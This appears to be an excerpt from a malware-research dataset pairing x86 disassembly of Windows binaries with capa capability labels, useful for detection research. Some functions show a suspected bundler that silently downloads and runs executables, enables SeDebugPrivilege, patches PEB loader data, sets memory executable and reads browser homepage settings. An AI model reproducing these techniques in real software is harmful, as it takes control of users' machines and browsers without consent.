joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4807e0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48200c
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x4a5294]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], str.QQPCRTP
push 0x48bc0c
push 0x48bc24
push reloc.OLEAUT32.dll_SysReAllocString
lea eax, [ebp - 0x18]
push eax
call fcn.004806f0
add esp, 0x10
mov dword [ebp - 4], 0
lea eax, [ebp - 0x18]
call fcn.00401b84
movzx ecx, al
test ecx, ecx
je 0x480855
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401bb4
jmp 0x4808c7
lea eax, [ebp - 0x18]
call fcn.00426ab2
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x480879
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401bb4
jmp 0x4808c7
mov dword [ebp - 0x1c], 0
jmp 0x48088b
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 1
jae 0x4808b0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x10]
push ecx
call fcn.0042751a
add esp, 4
test eax, eax
je 0x4808ae
mov dword [ebp - 0x14], 1
jmp 0x4808b0
jmp 0x480882
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401bb4
xor edx, edx
jne 0x480813
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x480ac0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x482868
mov eax, dword fs:[0]
push eax
sub esp, 0x50
push esi
mov eax, dword [0x4a5294]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x20]
call fcn.00479060
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x480b0c
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x480b11
jmp 0x480bcc
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x480b24
jmp 0x480bcc
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.004789b0
test eax, eax
jne 0x480b39
jmp 0x480bcc
lea eax, [ebp - 0x34]
call fcn.00409d2f
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0047b6c0
test eax, eax
jne 0x480b63
mov byte [ebp - 4], 0
lea esi, [ebp - 0x34]
call fcn.00409d3b
jmp 0x480bcc
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x3c], esp
lea edx, [ebp - 0x34]
push edx
call fcn.004397b0
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x38]
push eax
call fcn.00480920
add esp, 0x14
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x38]
call fcn.004256a6
push eax
lea eax, [ebp - 0x38]
call fcn.00426ab2
push eax
push 0x100
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004567b2
add esp, 0x10
mov dword [ebp - 0x24], 1
lea ecx, [ebp - 0x38]
call fcn.00401bb4
mov byte [ebp - 4], 0
lea esi, [ebp - 0x34]
call fcn.00409d3b
xor edx, edx
jne 0x480afc
lea ecx, [ebp - 0x20]
call fcn.00478680
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00478310
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001114
Capabilities:
Check mutex on windows

Disassembly:
push str.GM_downloading
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
ret

Function at 0x1001150
Capabilities:
Create process on windows
Delete file
Get common file path
Print debug messages

Disassembly:
push 0x2a4
mov eax, 0x1036f13
call fcn.0101e2c5
call fcn.010020cb
call fcn.01001114
test al, al
je 0x1001177
call fcn.010020cb
jmp 0x10012d1
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
xor ebx, ebx
push ebx
push str.kuai8
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea eax, [ebp - 0x218]
push eax
lea esi, [ebp - 0x264]
call fcn.0100157d
push str.http:__d1.kuai8.com_setup_kuai8_rjaz.exe
lea esi, [ebp - 0x248]
mov dword [ebp - 4], ebx
call fcn.0100157d
mov byte [ebp - 4], 1
call fcn.010020cb
lea eax, [ebp - 0x264]
push eax
mov ecx, esi
call fcn.0100e6a0
pop ecx
call fcn.010020cb
test al, al
mov byte [ebp - 0x219], 1
jne 0x10011ff
mov byte [ebp - 0x219], bl
push ebx
push 1
lea esi, [ebp - 0x248]
call fcn.010015c3
push ebx
push 1
lea esi, [ebp - 0x264]
call fcn.010015c3
cmp byte [ebp - 0x219], bl
je 0x10012b0
call fcn.010020cb
push 0x44
pop esi
push esi
lea eax, [ebp - 0x2b0]
push ebx
push eax
call fcn.010216d0
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x2b0]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push ebx
mov dword [ebp - 0x2b0], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1001285
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.010020cb
add esp, 8
jmp 0x10012bf
call fcn.010020cb
push 0xffffffffffffffff
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x228]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x22c]
call esi
jmp 0x10012bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.010020cb
add esp, 4
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.01001132
call fcn.0101e348
ret
Function at 0x10012d7
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push 0x2a4
mov eax, 0x1036f13
call fcn.0101e2c5
call fcn.010020cb
call fcn.01001114
test al, al
je 0x10012fe
call fcn.010020cb
jmp 0x1001429
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
xor ebx, ebx
push ebx
push str.kuai8
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x218]
push eax
lea esi, [ebp - 0x264]
call fcn.0100157d
push str.http:__dl.client.baidu.com_union_getbdbrowser.php_tn29065018_115.exe
lea esi, [ebp - 0x248]
mov dword [ebp - 4], ebx
call fcn.0100157d
mov byte [ebp - 4], 1
call fcn.010020cb
lea eax, [ebp - 0x264]
push eax
mov ecx, esi
call fcn.0100e6a0
pop ecx
call fcn.010020cb
test al, al
mov byte [ebp - 0x219], 1
jne 0x1001379
mov byte [ebp - 0x219], bl
push ebx
push 1
lea esi, [ebp - 0x248]
call fcn.010015c3
push ebx
push 1
lea esi, [ebp - 0x264]
call fcn.010015c3
call fcn.010020cb
cmp byte [ebp - 0x219], bl
je 0x1001417
push 0x44
pop esi
push esi
lea eax, [ebp - 0x2b0]
push ebx
push eax
call fcn.010216d0
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x2b0]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push ebx
mov dword [ebp - 0x2b0], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x10013f3
lea eax, [ebp - 0x218]
push eax
call fcn.010020cb
add esp, 4
jmp 0x1001417
push 0xffffffffffffffff
push dword [ebp - 0x22c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x228]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x22c]
call esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.01001132
call fcn.0101e348
ret

Function at 0x100142f
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [0x104ae60]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x100144a
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
ret

Function at 0x100197d
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x10482e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
push 0x100
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
call fcn.010020cb
add esp, 4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10019e5
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esi + 4], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, esi
call fcn.0101aef9
leave
ret 4
Function at 0x10020cc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x10482e0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push dword [esi + 8]
push dword [esi]
call edi
cmp eax, 0xffffffff
jne 0x1002107
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.010020cb
add esp, 4
jmp 0x1002113
lea eax, [ebp - 0x48]
push eax
push 0x40
push esi
call fcn.01001a44
cmp word [ebp - 0x48], 0x5a4d
je 0x100211f
xor eax, eax
jmp 0x1002165
mov eax, dword [esi + 8]
add eax, dword [ebp - 0xc]
push 0
push 0
push eax
push dword [esi]
call edi
cmp eax, 0xffffffff
jne 0x1002144
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.010020cb
add esp, 4
jmp 0x1002156
lea eax, [ebp - 0x140]
push eax
push 0xf8
push esi
call fcn.01001a44
xor eax, eax
cmp dword [ebp - 0x140], 0x4550
sete al
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0101aef9
leave
ret

Function at 0x1002575
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, str.MSVBVM60.DLL
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x10025f9
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [0x104b5b8]
cmp esi, dword [0x104b5bc]
jbe 0x10025b3
call fcn.0101b27b
mov ebx, dword [0x104b5bc]
cmp dword [0x104b5b8], ebx
mov dword [ebp - 0x10], 0x104b5b4
mov dword [ebp - 0xc], esi
jbe 0x10025d0
call fcn.0101b27b
cmp esi, ebx
je 0x10025e8
lea esi, [ebp - 0x10]
call fcn.01006344
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x1002649
lea ebx, [ebp - 4]
call fcn.01002c9e
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov eax, dword [esi + 0x3c]
add eax, esi
mov ecx, dword [eax + 0x80]
test ecx, ecx
je 0x10025e4
and dword [ebp - 8], 0
lea edi, [ecx + esi]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [eax + 0x50]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1002634
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.010020cb
add esp, 4
jmp 0x10025e4
push esi
mov eax, edi
call fcn.010023fb
test eax, eax
pop ecx
jne 0x1002646
call fcn.010020cb
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100276a
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor esi, esi
test eax, eax
jne 0x100279c
push esi
push esi
push 0x103bc84
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
xor al, al
jmp 0x1002811
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
push esi
push esi
jne 0x10027c9
push 0x103bcb4
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1002798
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
push dword [ebp - 4]
jne 0x1002809
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push esi
push 0x103bcc0
jmp 0x1002791
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
leave
ret
Function at 0x1002abb
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
call fcn.0100276a
movzx eax, al
test eax, eax
jne 0x1002ad7
call fcn.010020cb
xor al, al
jmp 0x1002b48
call fcn.010020cb
cmp dword [0x104d00c], 6
jne 0x1002aec
call fcn.01002814
jmp 0x1002b48
call fcn.0100264e
test eax, eax
je 0x1002afc
call fcn.010020cb
jmp 0x1002b05
call fcn.010020cb
xor al, al
jmp 0x1002b48
call fcn.01001c3b
movzx eax, byte [0x104d010]
test eax, eax
je 0x1002b3b
and dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov esi, dword [eax + 0xc]
add esi, 0xc
mov eax, dword [esi]
add eax, 0x18
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [0x104ae64]
mov dword [eax], ecx
mov eax, dword [0x104ae6c]
add eax, dword [0x104ae64]
jmp eax
pop esi
leave
ret

Function at 0x10050a9
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x214
mov eax, 0x1037689
call fcn.0101e2c5
mov dword [ebp - 0x220], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [esi + 4]
push 7
mov dword [esi], vtable.CSougouHomePageUtil.0
pop ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ebx
mov word [eax + 4], bx
lea edi, [esi + 0x24]
mov dword [edi + 0x18], ecx
mov dword [edi + 0x14], ebx
mov word [edi + 4], bx
push 0x103c440
push eax
mov byte [ebp - 4], 2
call fcn.0100159c
lea eax, [ebp - 0x21c]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov dword [esi + 0x20], 2
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push edi
call fcn.0100159c
push str.SogouExplorerconfig.xml
push edi
call fcn.01005fc8
mov ecx, esi
call fcn.0100517c
mov eax, esi
call fcn.0101e348
ret
Function at 0x100517c
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1037704
mov eax, dword fs:[0]
push eax
sub esp, 0x50
push ebx
push esi
push edi
mov eax, dword [0x10482e0]
xor eax, esp
push eax
lea eax, [esp + 0x60]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x3c], 8
jb 0x10051b5
mov eax, dword [ebx + 0x28]
jmp 0x10051b8
lea eax, [ebx + 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10051cf
mov dword [ebx + 0x20], 1
jmp 0x1005359
lea eax, [esp + 0x24]
push eax
call fcn.01003a3f
xor edi, edi
mov dword [esp + 0x68], edi
cmp dword [ebx + 0x3c], 8
jb 0x10051ea
mov eax, dword [ebx + 0x28]
jmp 0x10051ed
lea eax, [ebx + 0x28]
push ecx
mov ecx, esp
lea esi, [esp + 0x28]
mov dword [esp + 0x20], esp
mov dword [ecx], eax
call fcn.0100b564
test al, al
jne 0x100520f
mov dword [ebx + 0x20], 1
jmp 0x1005350
mov eax, dword [0x104add0]
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x40], edi
mov edi, 0x104add0
mov ecx, edi
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0x10], esi
mov byte [esp + 0x68], 1
mov eax, dword [0x104add0]
mov ecx, edi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
mov byte [esp + 0x68], 2
push ecx
mov eax, esp
mov dword [eax], str.Item
lea eax, [esp + 0x28]
mov dword [esp + 0x24], esp
call fcn.0100b830
test al, al
je 0x100533c
push ecx
mov eax, esp
mov dword [eax], str.homepage
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], esp
call fcn.01003a7f
lea edi, [esp + 0x10]
mov byte [esp + 0x68], 3
call fcn.010061b5
mov byte [esp + 0x68], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.01003a27
push ecx
mov eax, esp
mov dword [eax], str.homepagetype
lea eax, [esp + 0x20]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], esp
call fcn.01003a7f
lea edi, [esp + 0x14]
mov byte [esp + 0x68], 4
call fcn.010061b5
mov byte [esp + 0x68], 2
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.01003a27
mov esi, dword [esp + 0x10]
cmp dword [esi - 4], 1
jle 0x10052ff
push dword [esi - 0xc]
lea eax, [esp + 0x14]
push eax
call fcn.01007160
mov esi, dword [esp + 0x10]
push esi
lea eax, [ebx + 4]
push eax
call fcn.0100159c
mov eax, esi
call fcn.01007149
lea edx, [esp + 0x10]
call fcn.010071c6
lea eax, [esp + 0x14]
push eax
mov ecx, 0x103ca90
call fcn.010070ec
test eax, eax
je 0x1005254
mov dword [ebx + 0x20], 3
jmp 0x1005254
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.01003a27
lea eax, [esi - 0x10]
call fcn.01003a27
lea esi, [esp + 0x24]
call fcn.0100b4a7
mov ecx, dword [esp + 0x60]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1005620
Capabilities:
Check if file exists
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x10482e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
lea esi, [ebx + 0x20]
cmp dword [esi + 0x18], 8
push edi
jb 0x1005646
mov eax, dword [esi + 4]
jmp 0x1005649
lea eax, [esi + 4]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push eax
call edi
test eax, eax
jne 0x10056a0
lea eax, [ebp - 0x20c]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x20c]
push eax
push esi
call fcn.0100159c
push str.TheWorldTheWorld.ini
push esi
call fcn.01005fc8
cmp dword [esi + 0x18], 8
jb 0x100568d
mov eax, dword [esi + 4]
jmp 0x1005690
lea eax, [esi + 4]
push eax
call edi
test eax, eax
jne 0x10056a0
mov dword [ebx + 0x3c], 1
jmp 0x10056e0
cmp dword [esi + 0x18], 8
jb 0x10056ab
mov esi, dword [esi + 4]
jmp 0x10056ae
add esi, 4
push esi
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0x103c440
push str.HomePage
push str.Option
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x414]
push eax
add ebx, 4
push ebx
call fcn.0100159c
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0101aef9
leave
ret

Function at 0x10057f5
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x214
mov eax, 0x1037689
call fcn.0101e2c5
mov dword [ebp - 0x220], esi
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [esi + 4]
push 7
mov dword [esi], vtable.CGoogleHomePageUtil.0
pop ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ebx
mov word [eax + 4], bx
lea edi, [esi + 0x24]
mov dword [edi + 0x18], ecx
mov dword [edi + 0x14], ebx
mov word [edi + 4], bx
push 0x103c440
mov byte [ebp - 4], 2
push eax
mov dword [esi + 0x20], 2
call fcn.0100159c
lea eax, [ebp - 0x21c]
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push edi
call fcn.0100159c
push str.GoogleChromeUser_DataDefaultPreferences
push edi
call fcn.01005fc8
mov ecx, esi
call fcn.010058c4
mov eax, esi
call fcn.0101e348
ret
Function at 0x1007430
Capabilities:
Write file on windows

Disassembly:
push 0x54
mov eax, 0x1036000
call fcn.0101e2c5
mov ebx, ecx
cmp dword [ebx + 0x3c], 0
mov dword [ebp - 0x34], ebx
je 0x100754b
cmp byte [ebx + 0x41], 0
je 0x100754b
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 4]
cmp eax, 0xffffffff
jne 0x1007468
xor al, al
jmp 0x100754d
push 0
push 8
pop edi
lea esi, [ebp - 0x30]
call fcn.01006e06
and dword [ebp - 4], 0
add ebx, 0x44
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x1c]
lea ebx, [ebp - 0x48]
lea esi, [ebp - 0x30]
mov dword [ebp - 0x40], eax
call fcn.01006e8d
mov esi, eax
call fcn.01007637
mov edi, eax
add edi, dword [ebp - 0x40]
lea ebx, [ebp - 0x60]
lea esi, [ebp - 0x30]
call fcn.01006e8d
mov esi, eax
call fcn.01007637
mov esi, dword [ebp - 0x34]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx]
lea ebx, [ebp - 0x3c]
push ebx
push edi
push eax
push dword [ebp - 0x38]
call dword [edx + 0x18]
xor ebx, ebx
sub eax, ebx
je 0x10074d3
dec eax
je 0x10074d6
dec eax
dec eax
jne 0x100753b
mov bl, 1
jmp 0x100753b
mov byte [esi + 0x41], bl
lea ebx, [ebp - 0x58]
lea esi, [ebp - 0x30]
call fcn.01006e8d
mov esi, eax
call fcn.01007637
mov edi, dword [ebp - 0x3c]
sub edi, eax
je 0x1007517
mov eax, dword [ebp - 0x34]
push dword [eax + 0x4c]
lea ebx, [ebp - 0x50]
push edi
push 1
lea esi, [ebp - 0x30]
call fcn.01006e8d
mov esi, eax
call fcn.01007637
push eax
call fcn.0101bf7b
add esp, 0x10
cmp edi, eax
jne 0x1007539
mov eax, dword [ebp - 0x34]
cmp byte [eax + 0x41], 0
je 0x10074cf
test edi, edi
jne 0x100747f
push edi
push 8
pop ebx
lea edi, [ebp - 0x30]
call fcn.01006e49
jmp 0x100747f
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x30]
call fcn.01002db0
mov al, bl
jmp 0x100754d
mov al, 1
call fcn.0101e348
ret

Function at 0x10087f3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x100880a
pop esi
ret
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x100883f
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
add eax, edi
and esi, 0xf
jbe 0x100883b
cmp edi, eax
jae 0x100883f
dec esi
movzx ecx, word [edi]
lea edi, [edi + ecx*2 + 2]
jne 0x100882d
cmp edi, eax
jb 0x1008843
xor eax, eax
jmp 0x100884d
mov ax, word [edi]
neg ax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x100a1eb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, eax
push dword [esi]
push 1
push dword [esi + 8]
push edi
call fcn.0101cda5
mov ecx, dword [esi + 8]
mov ebx, eax
add esp, 0x10
dec ebx
neg ebx
mov eax, ecx
sbb bl, bl
cdq
idiv dword [esi + 0x18]
inc bl
test bl, bl
mov byte [ebp - 1], bl
mov dword [esi + 0x1c], eax
je 0x100a345
add dword [esi + 0x14], ecx
push 0xffffffffffffffff
push eax
push 0x18
push ecx
mov ecx, dword [esi + 0x24]
mov eax, esp
mov dword [eax], ecx
push ecx
mov eax, esp
mov dword [eax], str.read
lea eax, [esi + 0x20]
push eax
mov dword [ebp - 0xc], eax
call fcn.01008a20
mov eax, dword [esi + 0x18]
mov ebx, dword [esi + 0x1c]
xor ecx, ecx
add esp, 0x18
cmp eax, 1
sete byte [ebp - 2]
test ebx, ebx
mov dword [ebp - 8], ecx
je 0x100a2f5
xor edx, edx
dec ebx
cmp byte [ebp - 2], dl
je 0x100a277
cmp byte [edi], dl
jmp 0x100a27b
cmp word [edi], 0
sete dl
test edx, edx
je 0x100a2a8
test ecx, ecx
je 0x100a29f
cmp edi, ecx
je 0x100a29f
imul eax, dword [ebp - 8]
mov edx, edi
sub edx, ecx
push edx
push ecx
sub ecx, eax
push ecx
call fcn.0101c110
add esp, 0xc
mov eax, dword [esi + 0x18]
inc dword [ebp - 8]
lea ecx, [eax + edi]
add edi, eax
test ebx, ebx
jne 0x100a26b
test ecx, ecx
je 0x100a2cc
cmp edi, ecx
je 0x100a2cc
mov eax, dword [esi + 0x18]
imul eax, dword [ebp - 8]
sub edi, ecx
push edi
push ecx
sub ecx, eax
push ecx
call fcn.0101c110
add esp, 0xc
mov edi, dword [ebp - 8]
test edi, edi
je 0x100a2f5
push 0xffffffffffffffff
push edi
push 1
push ecx
mov eax, esp
and dword [eax], 0
push ecx
mov eax, esp
push dword [ebp - 0xc]
mov dword [eax], str.nulls_removed
call fcn.01008a20
add esp, 0x18
sub dword [esi + 0x1c], edi
cmp dword [esi + 0x18], 1
jle 0x100a339
test byte [esi + 4], 0x80
je 0x100a339
mov esi, dword [esi + 0x1c]
jmp 0x100a317
mov eax, dword [ebp + 8]
dec esi
lea ecx, [eax + esi*2]
movzx eax, word [ecx]
rol ax, 8
mov word [ecx], ax
test esi, esi
jne 0x100a306
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
push ecx
mov eax, esp
and dword [eax], esi
push ecx
mov eax, esp
push dword [ebp - 0xc]
mov dword [eax], str.endian_swap
call fcn.01008a20
add esp, 0x18
mov bl, byte [ebp - 1]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret 4
push esi
call fcn.01009d5e
jmp 0x100a33c